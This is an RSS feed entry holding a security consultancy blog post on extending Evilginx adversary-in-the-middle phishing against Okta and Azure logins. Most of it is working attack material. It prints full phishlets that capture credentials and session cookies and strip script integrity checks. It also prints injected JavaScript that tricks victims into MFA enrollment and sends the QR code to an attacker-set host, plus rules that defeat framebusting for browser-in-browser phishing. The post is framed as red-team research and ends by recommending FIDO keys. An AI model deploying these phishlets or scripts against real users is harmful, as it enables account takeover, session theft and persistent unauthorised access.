<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Okta - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/okta-2/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/okta-2/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Mon, 25 Aug 2025 07:16:46 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Okta - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/okta-2/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="(max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="(max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="(max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
